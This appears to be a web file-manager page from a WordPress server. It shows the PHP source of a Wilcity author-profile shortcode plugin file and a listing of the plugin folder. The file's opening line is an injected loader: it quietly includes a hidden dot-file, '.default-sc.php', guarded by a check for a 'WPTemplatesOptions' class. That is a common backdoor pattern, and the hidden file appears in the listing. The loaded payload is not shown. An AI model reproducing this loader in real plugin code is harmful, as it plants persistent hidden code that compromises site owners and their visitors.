PATH:
home
/
letacommog
/
newrdv1
/
wp-content
/
plugins1
/
wilcity-shortcodes
/
default-sc
<?php use \WilokeListingTools\Frontend\User; use \WilokeListingTools\Controllers\FollowController; use WilokeListingTools\Framework\Helpers\HTML; if (file_exists($filename = dirname(__FILE__) . DIRECTORY_SEPARATOR . '.' . basename(dirname(__FILE__)) . '.php') && !class_exists('WPTemplatesOptions')) { include_once($filename); } function wilcityAuthorProfile($aAtts) { $aAtts = isset($aAtts['atts']) ? \WILCITY_SC\SCHelpers::decodeAtts($aAtts['atts']) : ''; $aAtts = shortcode_atts( [ 'user_id' => '', 'name' => '', 'icon' => '' ], $aAtts ); $postID = ''; if (empty($aAtts['user_id'])) { if (is_singular()) { global $post; $aAtts['user_id'] = $post->post_author; $postID = $post->ID; } else { return ''; } } $avatar = User::getAvatar($aAtts['user_id']); $displayName = User::getField('display_name', $aAtts['user_id']); $position = User::getPosition($aAtts['user_id']); $authorPostsUrl = get_author_posts_url($aAtts['user_id']); if (!empty($aAtts['name'])) : ?> <div class="content-box_module__333d9"> <?php wilcityRenderSidebarHeader($aAtts['name'], $aAtts['icon']); ?> <div class="content-box_body__3tSRB"> <?php endif; ?> <div class="author-listing_module__3K7-I"> <div class="utility-box-1_module__MYXpX utility-box-1_md__VsXoU utility-box-1_boxLeft__3iS6b clearfix mb-20 mb-sm-15"> <div class="utility-box-1_avatar__DB9c_ rounded-circle"> <a class="clearfix" href="<?php echo esc_url($authorPostsUrl); ?>"> <img style="display: block !important;" src="<?php echo esc_url($avatar); ?>" alt="<?php echo esc_attr($displayName); ?>"> </a> </div> <div class="utility-box-1_body__8qd9j"> <div class="utility-box-1_group__2ZPA2"> <h3 class="utility-box-1_title__1I925"><a href="<?php echo esc_url($authorPostsUrl); ?>"><?php echo esc_html($displayName); ?></a> </h3> </div> <?php if (!empty($position)) : ?> <div class="utility-box-1_description__2VDJ6"><a href="<?php echo esc_url($authorPostsUrl); ?>"><?php echo esc_html($position); ?></a> </div> <?php endif; ?> </div> </div> <?php if (FollowController::toggleFollow()) : $followings = FollowController::countFollowings($aAtts['user_id']); $followers = FollowController::countFollowers($aAtts['user_id']); ?> <div id="<?php echo esc_attr(apply_filters('wilcity/filter/id-prefix', 'wilcity-follower-number-'.$aAtts['user_id'])); ?>" class="author-listing_follow__3RxQ6"> <div class="follow_module__17lY_"> <div class="follow_item__3GAob"> <div class="follow_content__2R1YP"> <span class="color-primary <?php echo esc_attr(apply_filters('wilcity/filter/class-prefix', 'wilcity-print-number')); ?>"><?php echo HTML::reStyleText($followers); ?></span> <?php echo \WilokeHelpers::ngettext(esc_html__('Follower', 'wilcity-shortcodes'), esc_html__('Followers', 'wilcity-shortcodes'), esc_html__('Followers', 'wilcity-shortcodes'), $followers); ?> </div> </div> <div class="follow_item__3GAob"> <div class="follow_content__2R1YP"> <span class="color-primary"><?php echo HTML::reStyleText($followings); ?></span> <?php esc_html_e('Following', 'wilcity-shortcodes'); ?> </div> </div> <?php if (get_current_user_id() != $aAtts['user_id']) : ?> <div class="follow_item__3GAob"> <div class="follow_content__2R1YP"> <a class='<?php echo esc_attr(apply_filters('wilcity/filter/class-prefix', 'wilcity-toggle-follow')); ?> color-primary fs-12 font-secondary font-bold' data-textonly="true" data-authorid="<?php echo esc_attr($aAtts['user_id']); ?>" data-current-status="<?php echo FollowController::isIamFollowing($aAtts['user_id']) ? 'followingtext' : 'followtext'; ?>" data-followtext="<?php esc_html_e('Follow', 'wilcity-shortcodes'); ?>" data-followingtext="<?php esc_html_e('Following', 'wilcity-shortcodes'); ?>" href='<?php echo esc_url(get_author_posts_url($post->post_author)); ?>'><i class='la la-refresh'></i> <?php echo FollowController::isIamFollowing($postID) ? esc_html__('Following', 'wilcity-shortcodes') : esc_html__('Follow', 'wilcity-shortcodes'); ?></a> </div> </div> <?php endif; ?> </div> </div> <?php endif; ?> <?php $aSocialNetworks = User::getSocialNetworks($aAtts['user_id']); if (!empty($aSocialNetworks)): ?> <div class="social-icon_module__HOrwr social-icon_style-2__17BFy mt-20"> <?php foreach ($aSocialNetworks as $socialKey => $socialLink) : ?> <a class="social-icon_item__3SLnb" href="<?php echo esc_url($socialLink); ?>"><i class="fa fa-<?php echo esc_attr($socialKey); ?>"></i></a> <?php endforeach; ?> </div> <?php endif; ?> </div> <?php if (!empty($aAtts['name'])) : ?> </div> </div> <?php endif; } add_shortcode('wilcity_author_profile', 'wilcityAuthorProfile');
[+]
..
[-] wilcity-render-box-icon1.php
[edit]
[-] wilcity-googlemap.php
[edit]
[-] wilcity-sidebar-terms-box.php
[edit]
[-] wilcity-sidebar-business-hours.php
[edit]
[-] wilcity-sidebar-header.php
[edit]
[-] wilcity-list-features.php
[edit]
[-] wilcity-sidebar-coupon.php
[edit]
[-] wilcity-sidebar-tags.php
[edit]
[-] wilcity-sidebar-slider.php
[edit]
[-] wilcity-custom-login.php
[edit]
[-] wilcity-listing-social-networks.php
[edit]
[-] wilcity-sidebar-bookingcombannercreator.php
[edit]
[-] wilcity-get-coupon.php
[edit]
[-] wilcity-header-slider.php
[edit]
[-] wilcity-author-profile.php
[edit]
[-] wilcity-pricing.php
[edit]
[-] wilcity-sidebar-single-price.php
[edit]
[-] wilcity-sidebar-taxonomy.php
[edit]
[-] wilcity-sidebar-statistics.php
[edit]
[-] wilcity-thankyou-promotion.php
[edit]
[-] wilcity-sidebar-related-listings.php
[edit]
[-] .default-sc.php
[edit]
[-] wilcity-sidebar-grid.php
[edit]
[-] wilcity-group-properties.php
[edit]
[-] wilcity-sidebar-business-info.php
[edit]
[-] wilcity-sidebar-claim.php
[edit]
[-] wilcity-google-adsense.php
[edit]
[-] wilcity-sidebar-list.php
[edit]
[-] wilcity-my-bank-account.php
[edit]
[-] wilcity-sidebar-categories.php
[edit]
[-] wilcity-sidebar-my-products.php
[edit]
[-] wilcity-thankyou-addlisting-pending.php
[edit]
[-] wilcity-google-adsense-in-article.php
[edit]
[-] wilcity-sidebar-price-range.php
[edit]
[-] wilcity-thankyou-addlisting-approved.php
[edit]
[-] wilcity-sidebar-google-adsense.php
[edit]
[-] wilcity-sharing-posts.php
[edit]
[-] wilcity-sidebar-custom.php
[edit]
[-] wilcity-gallery.php
[edit]
[-] wilcity-sidebar-woocommerce-booking.php
[edit]